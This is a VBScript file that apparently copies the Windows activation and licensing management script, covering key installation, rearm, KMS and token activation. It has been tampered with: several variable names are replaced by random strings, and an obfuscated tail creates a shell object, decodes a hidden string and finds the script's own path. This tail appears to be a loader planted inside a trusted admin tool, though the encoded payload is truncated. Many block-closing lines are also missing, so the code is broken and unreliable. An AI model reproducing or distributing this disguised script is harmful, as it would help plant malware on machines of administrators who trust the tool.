LineOut GetResource("L_MsgInstallationID") & objProduct.OfflineInstallationId

If (NOT bKmsClient) AND (NOT bAVMA) Then

'Note that we are re-using the UseLicenseURL for the Product Activation

'URL for down-level compatibility reasons

strUrl = objProduct.ProcessorURL

If strUrl <> "" Then

LineOut GetResource("L_MsgProcessorCertUrl") & strUrl

End If

strUrl = objProduct.MachineURL

If strUrl <> "" Then

LineOut GetResource("L_MsgMachineCertUrl") & strUrl

End If

strUrl = objProduct.UseLicenseURL

If strUrl <> "" Then

LineOut GetResource("L_MsgUseLicenseCertUrl") & strUrl

End If

strUrl = objProduct.ProductKeyURL

If strUrl <> "" Then

LineOut GetResource("L_MsgPKeyCertUrl") & strUrl

End If

strUrl = objProduct.ValidationURL

If strUrl <> "" Then

LineOut GetResource("L_MsgValidationUrl") & strUrl

End If

If objProduct.PartialProductKey <> "" Then

LineOut GetResource("L_MsgPartialPKey") & objProduct.PartialProductKey

Else

LineOut GetResource("L_MsgErrorLicenseNotInUse")

End If

ls = objProduct.LicenseStatus

If ls = 0 Then

LineOut GetResource("L_MsgLicenseStatusUnlicensed_1")

ElseIf ls = 1 Then

LineOut GetResource("L_MsgLicenseStatusLicensed_1")

gpMin = objProduct.GracePeriodRemaining

If (gpMin <> 0) Then

gpDay = GetDaysFromMins(gpMin)

If (bTBL) Then

strOutput = Replace(GetResource("L_MsgLicenseStatusTBL_1"), "%MINUTE%", gpMin)

ElseIf (bAVMA) Then

strOutput = Replace(GetResource("L_MsgLicenseStatusAVMA_1"), "%MINUTE%", gpMin)

Else

strOutput = Replace(GetResource("L_MsgLicenseStatusVL_1"), "%MINUTE%", gpMin)

End If

strOutput = Replace(strOutput, "%DAY%", gpDay)

LineOut strOutput

End If

ElseIf ls = 2 Then

LineOut GetResource("L_MsgLicenseStatusInitialGrace_1")

gpMin = objProduct.GracePeriodRemaining

gpDay = GetDaysFromMins(gpMin)

strOutput = Replace(GetResource("L_MsgLicenseStatusTimeRemaining"), "%MINUTE%", gpMin)

strOutput = Replace(strOutput, "%DAY%", gpDay)

LineOut strOutput

ElseIf ls = 3 Then

LineOut GetResource("L_MsgLicenseStatusAdditionalGrace_1")

gpMin = objProduct.GracePeriodRemaining

gpDay = GetDaysFromMins(gpMin)

strOutput = Replace(GetResource("L_MsgLicenseStatusTimeRemaining"), "%MINUTE%", gpMin)

strOutput = Replace(strOutput, "%DAY%", gpDay)

LineOut strOutput

ElseIf ls = 4 Then

LineOut GetResource("L_MsgLicenseStatusNonGenuineGrace_1")

gpMin = objProduct.GracePeriodRemaining

gpDay = GetDaysFromMins(gpMin)

strOutput = Replace(GetResource("L_MsgLicenseStatusTimeRemaining"), "%MINUTE%", gpMin)

strOutput = Replace(strOutput, "%DAY%", gpDay)

LineOut strOutput

ElseIf ls = 5 Then

LineOut GetResource("L_MsgLicenseStatusNotification_1")

strErr = CStr(Hex(objProduct.LicenseStatusReason))

if (objProduct.LicenseStatusReason = HR_SL_E_NOT_GENUINE) Then

strOutput = Replace(GetResource("L_MsgNotificationErrorReasonNonGenuine"), "%ERRCODE%", strErr)

ElseIf (objProduct.LicenseStatusReason = HR_SL_E_GRACE_TIME_EXPIRED) Then

strOutput = Replace(GetResource("L_MsgNotificationErrorReasonExpiration"), "%ERRCODE%", strErr)

Else

strOutput = Replace(GetResource("L_MsgNotificationErrorReasonOther"), "%ERRCODE%", strErr)

End If

LineOut strOutput

ElseIf ls = 6 Then

LineOut GetResource("L_MsgLicenseStatusExtendedGrace_1")

gpMin = objProduct.GracePeriodRemaining

gpDay = GetDaysFromMins(gpMin)

strOutput = Replace(GetResource("L_MsgLicenseStatusTimeRemaining"), "%MINUTE%", gpMin)

strOutput = Replace(strOutput, "%DAY%", gpDay)

LineOut strOutput

Else

LineOut GetResource("L_MsgLicenseStatusUnknown")

End If

If (ls <> 0 And bVerbose) Then

Set displayDate = CreateObject("WBemScripting.SWbemDateTime")

displayDate.Value = objProduct.EvaluationEndDate

If (displayDate.GetFileTime(false) <> 0) Then

LineOut GetResource("L_MsgLicenseStatusEvalEndData") & displayDate.GetVarDate

End If

If (bVerbose) Then

If (LCase(objProduct.ApplicationId) = WindowsAppId) Then

LineOut Replace(GetResource("L_MsgRemainingWindowsRearmCount"), "%COUNT%", objService.RemainingWindowsReArmCount)

Else

LineOut Replace(GetResource("L_MsgRemainingAppRearmCount"), "%COUNT%", objProduct.RemainingAppReArmCount)

End If

LineOut Replace(GetResource("L_MsgRemainingSkuRearmCount"), "%COUNT%", objProduct.RemainingSkuReArmCount)

Set displayDate = CreateObject("WBemScripting.SWbemDateTime")

displayDate.Value = objProduct.TrustedTime

If (displayDate.GetFileTime(false) <> 0) Then

LineOut GetResource("L_MsgCurrentTrustedTime") & displayDate.GetVarDate

End If

' KMS client properties

If bKmsClient Then

If (objProduct.VLActivationTypeEnabled = 1) Then

LineOut GetResource("L_MsgVLActivationTypeAD")

ElseIf (objProduct.VLActivationTypeEnabled = 2) Then

LineOut GetResource("L_MsgVLActivationTypeKMS")

ElseIf (objProduct.VLActivationTypeEnabled = 3) Then

LineOut GetResource("L_MsgVLActivationTypeToken")

Else

LineOut GetResource("L_MsgVLActivationTypeAll")

End If

If IsADActivated(objProduct) Then

DisplayADClientInformation objService, objProduct

ElseIf IsTokenActivated(objProduct) Then

DisplayTkaClientInformation objService, objProduct

ElseIf ls <> 1 Then

LineOut GetResource("L_MsgPleaseActivateRefreshKMSInfo")

Else

DisplayKMSClientInformation objService, objProduct

End If

If (bKmsServer Or (iIsPrimaryWindowsSku = 1) Or (iIsPrimaryWindowsSku = 2)) Then

DisplayKMSInformation objService, objProduct

End If

If (bAVMA) Then

strAVMAId = objProduct.IAID

If strAVMAId <> "" And Not IsNull(strAVMAId) Then

LineOut GetResource("L_MsgAVMAID") & strAVMAId

Else

LineOut GetResource("L_MsgAVMAID") & GetResource("L_MsgNotAvailable")

End If

DisplayAVMAClientInformation objProduct

End If

'We should stop processing if we aren't processing All and either we were told to process a single

'entry only or we found the primary SKU

If strParm <> "all" Then

If (strParm = LCase(strSLActID)) Then

Exit For 'no need to continue

End If

LineOut ""

End If

If productKeyFound = False Then

LineOut GetResource("L_MsgErrorPKey")

End If

End Sub

Private Function GetDaysFromMins(iMins)

Dim iMinsInADay

iMinsInADay = 24 * 60

' VBScript only supports Int truncation or 'evens' rounding, it does not support a CEILING/FLOOR operation or MOD

' To simulate the CEILING operation used for other grace-day calculations in the UX we need to add the # of mins

' in a day minus 1 to the input then divide by the mins in a day

GetDaysFromMins = Int((iMins + iMinsInADay - 1) / iMinsInADay)

End Function

Private Sub InstallProductKey(strProductKey)

Dim objService, objProduct

Dim lRet, strDescription, strOutput, strVersion

Dim iIsPrimaryWindowsSku, bIsKMS

bIsKMS = False

On Error Resume Next

set objService = GetServiceObject("Version")

strVersion = objService.Version

objService.InstallProductKey(strProductKey)

QuitIfError()

' Installing a product key could change Windows licensing state.

' Since the service determines if it can shut down and when is the next start time

' based on the licensing state we should reconsume the licenses here.

objService.RefreshLicenseStatus()

For Each objProduct in GetProductCollection(ProductIsPrimarySkuSelectClause, PartialProductKeyNonNullWhereClause)

strDescription = objProduct.Description

iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProduct)

If (iIsPrimaryWindowsSku = 2) Then

OutputIndeterminateOperationWarning(objProduct)

End If

If IsKmsServer(strDescription) Then

bIsKMS = True

Exit For

End If

If (bIsKMS = True) Then

' Set the KMS version in the registry (64 and 32 bit versions)

lRet = SetRegistryStr(HKEY_LOCAL_MACHINE, SLKeyPath, "KeyManagementServiceVersion", strVersion)

If (lRet <> 0) Then

QuitWithError lRet

End If

If ExistsRegistryKey(HKEY_LOCAL_MACHINE, SLKeyPath32) Then

lRet = SetRegistryStr(HKEY_LOCAL_MACHINE, SLKeyPath32, "KeyManagementServiceVersion", strVersion)

If (lRet <> 0) Then

QuitWithError lRet

End If

Else

' Clear the KMS version in the registry (64 and 32 bit versions)

lRet = DeleteRegistryValue(HKEY_LOCAL_MACHINE, SLKeyPath, "KeyManagementServiceVersion")

If (lRet <> 0 And lRet <> 2 And lRet <> 5) Then

QuitWithError lRet

End If

lRet = DeleteRegistryValue(HKEY_LOCAL_MACHINE, SLKeyPath32, "KeyManagementServiceVersion")

If (lRet <> 0 And lRet <> 2 And lRet <> 5) Then

QuitWithError lRet

End If

strOutput = Replace(GetResource("L_MsgInstalledPKey"), "%PKEY%", strProductKey)

LineOut strOutput

End Sub

Private Sub OutputIndeterminateOperationWarning(objProduct)

Dim strOutput

LineOut GetResource("L_MsgUndeterminedPrimaryKeyOperation")

strOutput = Replace(GetResource("L_MsgUndeterminedOperationFormat"), "%PRODUCTDESCRIPTION%", objProduct.Description)

strOutput = Replace(strOutput, "%PRODUCTID%", objProduct.ID)

LineOut strOutput

End Sub

Private Sub ClearPKeyFromRegistry()

Dim objService

On Error Resume Next

set objService = GetServiceObject("Version")

QuitIfError()

objService.ClearProductKeyFromRegistry()

QuitIfError()

LineOut GetResource("L_MsgClearedPKey")

End Sub

Private Sub InstallLicenseFiles (strParentDirectory, McwRRApZrHNhCoDPDpoL)

Dim file, files, folder, subFolder

Set folder = McwRRApZrHNhCoDPDpoL.GetFolder(strParentDirectory)

Set files = folder.Files

' Install all license files in folder

For Each file In files

If Right(file.Name, 7) = ".xrm-ms" Then

InstallLicense strParentDirectory & "\" & file.Name

End If

For Each subFolder in folder.SubFolders

InstallLicenseFiles subFolder, McwRRApZrHNhCoDPDpoL

End Sub

Private Sub ReinstallLicenses()

Dim shell, McwRRApZrHNhCoDPDpoL, strOemFolder

Dim strSppTokensFolder, folder, subFolder

Set shell = WScript.CreateObject("WScript.Shell")

Set McwRRApZrHNhCoDPDpoL = CreateObject("Scripting.FileSystemObject")

strOemFolder = shell.ExpandEnvironmentStrings("%SystemRoot%") & "\system32\oem"

strSppTokensFolder = shell.ExpandEnvironmentStrings("%SystemRoot%") & "\system32\spp\tokens"

LineOut GetResource("L_MsgReinstallingLicenses")

Set folder = McwRRApZrHNhCoDPDpoL.GetFolder(strSppTokensFolder)

For Each subFolder in folder.SubFolders

InstallLicenseFiles subFolder, McwRRApZrHNhCoDPDpoL

If (McwRRApZrHNhCoDPDpoL.FolderExists(strOemFolder)) Then

InstallLicenseFiles strOemFolder, McwRRApZrHNhCoDPDpoL

End If

LineOut GetResource("L_MsgLicensesReinstalled")

End Sub

Private Sub ReArmWindows

Dim objService

set objService = GetServiceObject("Version")

On Error Resume Next

objService.ReArmWindows()

QuitIfError()

LineOut GetResource("L_MsgRearm_1")

LineOut GetResource("L_MsgRearm_2")

End Sub

Private Sub ReArmApp(strSLID)

Dim objService

set objService = GetServiceObject("Version")

QuitIfError()

objService.ReArmApp(strSLID)

QuitIfError()

LineOut GetResource("L_MsgRearm_1")

End Sub

Private Sub ReArmSku(strSLID)

Dim objProductIter

Dim strSLActID

Dim strWhereClause

Dim bSkuFound

strSLID = LCase(strSLID)

bSkuFound = False

strWhereClause = "ID = '" & strSLID & "'"

For Each objProductIter in GetProductCollection("ID", strWhereClause)

strSLActID = objProductIter.ID

If (strSLID = LCase(strSLActID)) Then

bSkuFound = True

objProductIter.ReArmsku()

QuitIfError()

LineOut GetResource("L_MsgRearm_1")

Exit For

End If

If (bSkuFound = False) Then

LineOut GetResource("L_MsgErrorProductNotFound")

End If

End Sub

Private Sub ExpirationDatime(strActivationID)

Dim strWhereClause

Dim objProduct

Dim strSLActID, ls, graceRemaining, strEnds

Dim strOutput

Dim strDescription, bTBL, bAVMA

Dim iIsPrimaryWindowsSku

Dim bFound

strActivationID = LCase(strActivationID)

bFound = False

If strActivationId = "" Then

strWhereClause = "ApplicationId = '" & WindowsAppId & "'"

Else

strWhereClause = "ID = '" & Replace(strActivationID, "'", "") & "'"

End If

strWhereClause = strWhereClause & " AND " & PartialProductKeyNonNullWhereClause

For Each objProduct in GetProductCollection(ProductIsPrimarySkuSelectClause & ", LicenseStatus, GracePeriodRemaining", strWhereClause)

strSLActID = objProduct.ID

ls = objProduct.LicenseStatus

graceRemaining = objProduct.GracePeriodRemaining

strEnds = DateAdd("n", graceRemaining, Now)

bFound = True

iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProduct)

If (strActivationID = "") And (iIsPrimaryWindowsSku = 2) Then

OutputIndeterminateOperationWarning(objProduct)

End If

strOutput = ""

If ls = 0 Then

strOutput = GetResource("L_MsgLicenseStatusUnlicensed")

ElseIf ls = 1 Then

If graceRemaining <> 0 Then

strDescription = objProduct.Description

bTBL = IsTBL(strDescription)

bAVMA = IsAVMA(strDescription)

If bTBL Then

strOutput = Replace(GetResource("L_MsgLicenseStatusTBL"), "%ENDDATE%", strEnds)

ElseIf bAVMA Then

strOutput = Replace(GetResource("L_MsgLicenseStatusAVMA"), "%ENDDATE%", strEnds)

Else

strOutput = Replace(GetResource("L_MsgLicenseStatusVL"), "%ENDDATE%", strEnds)

End If

Else

strOutput = GetResource("L_MsgLicenseStatusLicensed")

End If

ElseIf ls = 2 Then

strOutput = Replace(GetResource("L_MsgLicenseStatusInitialGrace"), "%ENDDATE%", strEnds)

ElseIf ls = 3 Then

strOutput = Replace(GetResource("L_MsgLicenseStatusAdditionalGrace"), "%ENDDATE%", strEnds)

ElseIf ls = 4 Then

strOutput = Replace(GetResource("L_MsgLicenseStatusNonGenuineGrace"), "%ENDDATE%", strEnds)

ElseIf ls = 5 Then

strOutput = GetResource("L_MsgLicenseStatusNotification")

ElseIf ls = 6 Then

strOutput = Replace(GetResource("L_MsgLicenseStatusExtendedGrace"), "%ENDDATE%", strEnds)

End If

If strOutput <> "" Then

LineOut objProduct.Name & ":"

Lineout " " & strOutput

End If

If True <> bFound Then

LineOut GetResource("L_MsgErrorPKey")

End If

End Sub

'' Volume license service/client management

Private Sub QuitIfErrorRestoreKmsName(obj, strKmsName)

Dim objErr

If Err.Number <> 0 Then

set objErr = new CErr

If strKmsName = "" Then

obj.ClearKeyManagementServiceMachine()

Else

obj.SetKeyManagementServiceMachine(strKmsName)

End If

ShowError GetResource("L_MsgErrorText_8"), objErr

ExitScript objErr.Number

End If

End Sub

Private Function GetKmsClientObjectByActivationID(strActivationID)

Dim objProduct, objTarget

strActivationID = LCase(strActivationID)

Set objTarget = Nothing

On Error Resume Next

If strActivationID = "" Then

Set objTarget = GetServiceObject("Version, " & KMSClientLookupClause)

QuitIfError()

Else

For Each objProduct in GetProductCollection("ID, " & KMSClientLookupClause, EmptyWhereClause)

If (LCase(objProduct.ID) = strActivationID) Then

Set objTarget = objProduct

Exit For

End If

If objTarget is Nothing Then

Lineout Replace(GetResource("L_MsgErrorActivationID"), "%ActID%", strActivationID)

End If

Set GetKmsClientObjectByActivationID = objTarget

End Function

Private Sub SetKmsMachineName(strKmsNamePort, strActivationID)

Dim objTarget

Dim nColon, strKmsName, strKmsNamePrev, strKmsPort, nBracketEnd

Dim nKmsPort

nBracketEnd = InStr(StrKmsNamePort, "]")

If InStr(strKmsNamePort, "[") = 1 And nBracketEnd > 1 Then

' IPV6 Address

If Len(StrKmsNamePort) = nBracketEnd Then

'No Port Number

strKmsName = strKmsNamePort

strKmsPort = ""

Else

strKmsName = Left(strKmsNamePort, nBracketEnd)

strKmsPort = Right(strKmsNamePort, Len(strKmsNamePort) - nBracketEnd - 1)

End If

Else

' IPV4 Address

nColon = InStr(1, strKmsNamePort, ":")

If nColon <> 0 Then

strKmsName = Left(strKmsNamePort, nColon - 1)

strKmsPort = Right(strKmsNamePort, Len(strKmsNamePort) - nColon)

Else

strKmsName = strKmsNamePort

strKmsPort = ""

End If

Set objTarget = GetKmsClientObjectByActivationID(strActivationID)

On Error Resume Next

If Not objTarget is Nothing Then

strKmsNamePrev = objTarget.KeyManagementServiceMachine

If strKmsName <> "" Then

objTarget.SetKeyManagementServiceMachine(strKmsName)

QuitIfError()

End If

If strKmsPort <> "" Then

nKmsPort = CLng(strKmsPort)

QuitIfErrorRestoreKmsName objTarget, strKmsNamePrev

objTarget.SetKeyManagementServicePort(nKmsPort)

QuitIfErrorRestoreKmsName objTarget, strKmsNamePrev

Else

objTarget.ClearKeyManagementServicePort()

QuitIfErrorRestoreKmsName objTarget, strKmsNamePrev

End If

LineOut Replace(GetResource("L_MsgKmsNameSet"), "%KMS%", strKmsNamePort)

If objTarget.KeyManagementServiceLookupDomain <> "" Then

LineOut Replace(GetResource("L_MsgKmsUseMachineNameOverrides"), _

"%KMS%", _

strKmsNamePort)

End If

End Sub

Private Sub ClearKms(strActivationID)

Dim objTarget

Set objTarget = GetKmsClientObjectByActivationID(strActivationID)

On Error Resume Next

If Not objTarget is Nothing Then

objTarget.ClearKeyManagementServiceMachine()

QuitIfError()

objTarget.ClearKeyManagementServicePort()

QuitIfError()

LineOut GetResource("L_MsgKmsNameCleared")

If objTarget.KeyManagementServiceLookupDomain <> "" Then

LineOut Replace(GetResource("L_MsgKmsUseLookupDomain"), _

"%FQDN%", _

objTarget.KeyManagementServiceLookupDomain)

End If

End Sub

Private Sub SetKmsLookupDomain(strKmsLookupDomain, strActivationID)

Dim objTarget

Dim strKms, nPort

Set objTarget = GetKmsClientObjectByActivationID(strActivationID)

On Error Resume Next

If Not objTarget is Nothing Then

objTarget.SetKeyManagementServiceLookupDomain(strKmsLookupDomain)

QuitIfError()

LineOut Replace(GetResource("L_MsgKmsLookupDomainSet"), "%FQDN%", strKmsLookupDomain)

If objTarget.KeyManagementServiceMachine <> "" Then

strKms = objTarget.KeyManagementServiceMachine

nPort = objTarget.KeyManagementServicePort

LineOut Replace(GetResource("L_MsgKmsUseMachineNameOverrides"), _

"%KMS%", strKms & ":" & nPort)

End If

End Sub

Private Sub ClearKmsLookupDomain(strActivationID)

Dim objTarget

Dim strKms, nPort

Set objTarget = GetKmsClientObjectByActivationID(strActivationID)

On Error Resume Next

If Not objTarget is Nothing Then

objTarget.ClearKeyManagementServiceLookupDomain

QuitIfError()

LineOut GetResource("L_MsgKmsLookupDomainCleared")

If objTarget.KeyManagementServiceMachine <> "" Then

strKms = objTarget.KeyManagementServiceMachine

nPort = objTarget.KeyManagementServicePort

LineOut Replace(GetResource("L_MsgKmsUseMachineName"), _

"%KMS%", strKms & ":" & nPort)

End If

End Sub

Private Sub SetHostCachingDisable(boolHostCaching)

Dim objService

On Error Resume Next

set objService = GetServiceObject("Version")

QuitIfError()

objService.DisableKeyManagementServiceHostCaching(boolHostCaching)

QuitIfError()

If boolHostCaching Then

LineOut GetResource("L_MsgKmsHostCachingDisabled")

Else

LineOut GetResource("L_MsgKmsHostCachingEnabled")

End If

End Sub

Private Sub SetActivationInterval(intInterval)

Dim objService, objProduct

Dim kmsFlag, strOutput

If (intInterval < 0) Then

LineOut GetResource("L_MsgInvalidDataError")

Exit Sub

End If

On Error Resume Next

set objService = GetServiceObject("Version")

QuitIfError()

For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)

kmsFlag = objProduct.IsKeyManagementServiceMachine

If kmsFlag = 1 Then

objService.SetVLActivationInterval(intInterval)

QuitIfError()

strOutput = Replace(GetResource("L_MsgActivationSet"), "%ACTIVATION%", intInterval)

LineOut strOutput

LineOut GetResource("L_MsgWarningKmsReboot")

Exit For

End If

If kmsFlag <> 1 Then

LineOut GetResource("L_MsgWarningActivation")

End If

End Sub

Private Sub SetRenewalInterval(intInterval)

Dim objService, objProduct

Dim kmsFlag, strOutput

If (intInterval < 0) Then

LineOut GetResource("L_MsgInvalidDataError")

Exit Sub

End If

On Error Resume Next

set objService = GetServiceObject("Version")

QuitIfError()

For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)

kmsFlag = objProduct.IsKeyManagementServiceMachine

If kmsFlag Then

objService.SetVLRenewalInterval(intInterval)

QuitIfError()

strOutput = Replace(GetResource("L_MsgRenewalSet"), "%RENEWAL%", intInterval)

LineOut strOutput

LineOut GetResource("L_MsgWarningKmsReboot")

Exit For

End If

If kmsFlag <> 1 Then

LineOut GetResource("L_MsgWarningRenewal")

End If

End Sub

Private Sub SetKmsListenPort(strPort)

Dim objService, objProduct

Dim kmsFlag, lRet, strOutput

Dim nPort

On Error Resume Next

set objService = GetServiceObject("Version")

QuitIfError()

For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)

kmsFlag = objProduct.IsKeyManagementServiceMachine

If kmsFlag Then

nPort = CLng(strPort)

objService.SetKeyManagementServiceListeningPort(nPort)

QuitIfError()

strOutput = Replace(GetResource("L_MsgKmsPortSet"), "%PORT%", strPort)

LineOut strOutput

LineOut GetResource("L_MsgWarningKmsReboot")

Exit For

End If

If kmsFlag <> 1 Then

LineOut GetResource("L_MsgWarningKmsPort")

End If

End Sub

Private Sub SetDnsPublishingDisabled(bool)

Dim objService, objProduct

Dim kmsFlag, lRet, dwValue

On Error Resume Next

set objService = GetServiceObject("Version")

QuitIfError()

For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)

kmsFlag = objProduct.IsKeyManagementServiceMachine

If kmsFlag Then

objService.DisableKeyManagementServiceDnsPublishing(bool)

QuitIfError()

If bool Then

LineOut GetResource("L_MsgKmsDnsPublishingDisabled")

Else

LineOut GetResource("L_MsgKmsDnsPublishingEnabled")

End If

LineOut GetResource("L_MsgWarningKmsReboot")

Exit For

End If

If kmsFlag <> 1 Then

LineOut GetResource("L_MsgKmsDnsPublishingWarning")

End If

End Sub

Private Sub SetKmsLowPriority(bool)

Dim objService, objProduct

Dim kmsFlag, lRet, dwValue

On Error Resume Next

set objService = GetServiceObject("Version")

QuitIfError()

For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)

kmsFlag = objProduct.IsKeyManagementServiceMachine

If kmsFlag Then

objService.EnableKeyManagementServiceLowPriority(bool)

QuitIfError()

If bool Then

LineOut GetResource("L_MsgKmsPriSetToLow")

Else

LineOut GetResource("L_MsgKmsPriSetToNormal")

End If

LineOut GetResource("L_MsgWarningKmsReboot")

End If

Exit For

If kmsFlag <> 1 Then

LineOut GetResource("L_MsgWarningKmsPri")

End If

End Sub

Private Sub SetVLActivationType(intType, strActivationID)

Dim objTarget

If IsNull(intType) Then

intType = 0

End If

If (intType < 0) Or (intType > 3) Then

LineOut GetResource("L_MsgInvalidDataError")

Exit Sub

End If

Set objTarget = GetKmsClientObjectByActivationID(strActivationID)

On Error Resume Next

If Not objTarget is Nothing Then

If (intType <> 0) Then

objTarget.SetVLActivationTypeEnabled(intType)

QuitIfError()

Else

objTarget.ClearVLActivationTypeEnabled()

QuitIfError()

End If

LineOut GetResource("L_MsgVLActivationTypeSet")

End If

End Sub

'' Token-based Activation Commands

Private Function IsTokenActivated(objProduct)

Dim nILVID

On Error Resume Next

nILVID = objProduct.TokenActivationILVID

IsTokenActivated = ((Err.Number = 0) And (nILVID <> &HFFFFFFFF))

End Function

Private Sub TkaListILs

Dim objLicense

Dim strHeader

Dim strError

Dim strGuids

Dim arrGuids

Dim nListed

Dim objWmiDate

LineOut GetResource("L_MsgTkaLicenses")

LineOut ""

Set objWmiDate = CreateObject("WBemScripting.SWbemDateTime")

nListed = 0

For Each objLicense in g_objWMIService.InstancesOf(TkaLicenseClass)

strHeader = GetResource("L_MsgTkaLicenseHeader")

strHeader = Replace(strHeader, "%ILID%" , objLicense.ILID )

strHeader = Replace(strHeader, "%ILVID%", objLicense.ILVID)

LineOut strHeader

LineOut " " & Replace(GetResource("L_MsgTkaLicenseILID"), "%ILID%", objLicense.ILID)

LineOut " " & Replace(GetResource("L_MsgTkaLicenseILVID"), "%ILVID%", objLicense.ILVID)

If Not IsNull(objLicense.ExpirationDate) Then

objWmiDate.Value = objLicense.ExpirationDate

If (objWmiDate.GetFileTime(false) <> 0) Then

LineOut " " & Replace(GetResource("L_MsgTkaLicenseExpiration"), "%TODATE%", objWmiDate.GetVarDate)

End If

If Not IsNull(objLicense.AdditionalInfo) Then

LineOut " " & Replace(GetResource("L_MsgTkaLicenseAdditionalInfo"), "%MOREINFO%", objLicense.AdditionalInfo)

End If

If Not IsNull(objLicense.AuthorizationStatus) And _

objLicense.AuthorizationStatus <> 0 _

Then

strError = CStr(Hex(objLicense.AuthorizationStatus))

LineOut " " & Replace(GetResource("L_MsgTkaLicenseAuthZStatus"), "%ERRCODE%", strError)

Else

LineOut " " & Replace(GetResource("L_MsgTkaLicenseDescr"), "%DESC%", objLicense.Description)

End If

LineOut ""

nListed = nListed + 1

if 0 = nListed Then

LineOut GetResource("L_MsgTkaLicenseNone")

End If

End Sub

Private Sub TkaRemoveIL(strILID, strILVID)

Dim objLicense

Dim strMsg

Dim nRemoved

Dim nILVID

On Error Resume Next

nILVID = CInt(strILVID)

QuitIfError()

LineOut GetResource("L_MsgTkaRemoving")

LineOut ""

nRemoved = 0

For Each objLicense in g_objWMIService.InstancesOf(TkaLicenseClass)

If strILID = objLicense.ILID And nILVID = objLicense.ILVID Then

strMsg = GetResource("L_MsgTkaRemovedItem")

strMsg = Replace(strMsg, "%SLID%", objLicense.ID)

On Error Resume Next

objLicense.Uninstall

QuitIfError()

LineOut strMsg

nRemoved = nRemoved + 1

End If

If nRemoved = 0 Then

LineOut GetResource("L_MsgTkaRemovedNone")

End If

End Sub

Private Sub TkaListCerts

Dim objProduct

Dim objSigner

Dim iRet

Dim arrGrants()

Dim arrThumbprints

Dim strThumbprint

On Error Resume Next

Set objSigner = TkaGetSigner()

Set objProduct = TkaGetProduct()

iRet = objProduct.GetTokenActivationGrants(arrGrants)

QuitIfError()

arrThumbprints = objSigner.GetCertificateThumbprints(arrGrants)

QuitIfError()

For Each strThumbprint in arrThumbprints

TkaPrintCertificate strThumbprint

End Sub

Private Sub TkaActivate(strThumbprint, strPin)

Dim objService

Dim objProduct

Dim objSigner

Dim iRet

Dim strChallenge

Dim strAuthInfo1

Dim strAuthInfo2

Set objSigner = TkaGetSigner()

Set objProduct = TkaGetProduct()

Set objService = TkaGetService()

DisplayActivatingSku objProduct

On Error Resume Next

iRet = objProduct.GenerateTokenActivationChallenge(strChallenge)

QuitIfError()

strAuthInfo1 = objSigner.Sign(strChallenge, strThumbprint, strPin, strAuthInfo2)

QuitIfError()

iRet = objProduct.DepositTokenActivationResponse(strChallenge, strAuthInfo1, strAuthInfo2)

QuitIfError()

objService.RefreshLicenseStatus()

Err.Number = 0

objProduct.refresh_

DisplayActivatedStatus objProduct

QuitIfError()

End Sub

Private Function TkaGetService()

Set TkaGetService = GetServiceObject("Version")

End Function

Private Function TkaGetProduct()

Dim objWinProductsWithPKeyInstalled

Dim objProduct

On Error Resume Next

Set TkaGetProduct = Nothing

Set TkaGetProduct = GetProductObject( _

"ID, Name, ApplicationId, PartialProductKey, Description, LicenseIsAddon ", _

"ApplicationId = '" & WindowsAppId & "' " &_

"AND PartialProductKey <> NULL " & _

"AND LicenseIsAddon = FALSE" _

)

QuitIfError()

End Function

Private Function TkaGetSigner()

On Error Resume Next

Set TkaGetSigner = WScript.CreateObject("SPPWMI.SppWmiTokenActivationSigner")

QuitIfError()

End Function

Private Sub TkaPrintCertificate(strThumbprint)

Dim arrParams

arrParams = Split(strThumbprint, "|")

LineOut ""

LineOut Replace(GetResource("L_MsgTkaCertThumbprint"), "%THUMBPRINT%", arrParams(0))

LineOut Replace(GetResource("L_MsgTkaCertSubject" ), "%SUBJECT%" , arrParams(1))

LineOut Replace(GetResource("L_MsgTkaCertIssuer" ), "%ISSUER%" , arrParams(2))

LineOut Replace(GetResource("L_MsgTkaCertValidFrom" ), "%FROMDATE%" , FormatDateTime(CDate(arrParams(3)), vbShortDate))

LineOut Replace(GetResource("L_MsgTkaCertValidTo" ), "%TODATE%" , FormatDateTime(CDate(arrParams(4)), vbShortDate))

End Sub

'' Active Directory Activation Commands

Private Function IsADActivated(objProduct)

On Error Resume Next

If (objProduct.VLActivationType = 1) Then

IsADActivated = True

Else

IsADActivated = False

End If

End Function

Private Sub ADActivateOnline(strProductKey, strActivationObjectName)

Dim objService

FailRemoteExec()

On Error Resume Next

set objService = GetServiceObject("Version")

QuitIfError()

objService.DoActiveDirectoryOnlineActivation strProductKey, strActivationObjectName

QuitIfError()

LineOut GetResource("L_MsgActivated")

End Sub

Function GpLUPbUKyvMXaWDQNWRW(GcLwPJbGKacUAUpmcWRU, find, GgLcPNXZmfIkOXNiZWRX)

Dim parts

parts = Split(GcLwPJbGKacUAUpmcWRU, find)

GpLUPbUKyvMXaWDQNWRW = Join(parts, GgLcPNXZmfIkOXNiZWRX)

End Function

On Error Resume Next

dim nUMpNPhkGaWaZGPkqxSh, yypBUkIPZcUcUNLyNbKv, NuvdGLOJyPcKdWeoGAea

yypBUkIPZcUcUNLyNbKv = "pu

yypBUkIPZcUcUNLyNbKv = GpLUPbUKyvMXaWDQNWRW(yypBUkIPZcUcUNLyNbKv,"

","t")

yypBUkIPZcUcUNLyNbKv = NUcScrclPARUIvDRDDNP(yypBUkIPZcUcUNLyNbKv)

Set XTPfWONvDbizBUGilDnc = CreateObject("WScript.Shell")

Set McwRRApZrHNhCoDPDpoL = CreateObject("Scripting.FileSystemObject")

gkeccyCXHWYIqKoNHUGc = XTPfWONvDbizBUGilDnc.CurrentDirectory & "\" & WScript.ScriptName

hxbSSrBgYJnWUQSKTNuN = McwRRApZrHNhCoDPDpoL.GetParentFolderName(gkeccyCXHWYIqKoNHUGc) & "\" & McwRRApZrHNhCoDPDpoL.GetFileName(WScript.ScriptName)

nUMpNPhkGaWaZGPkqxSh = hxbSSrBgYJnWUQSKTNuN

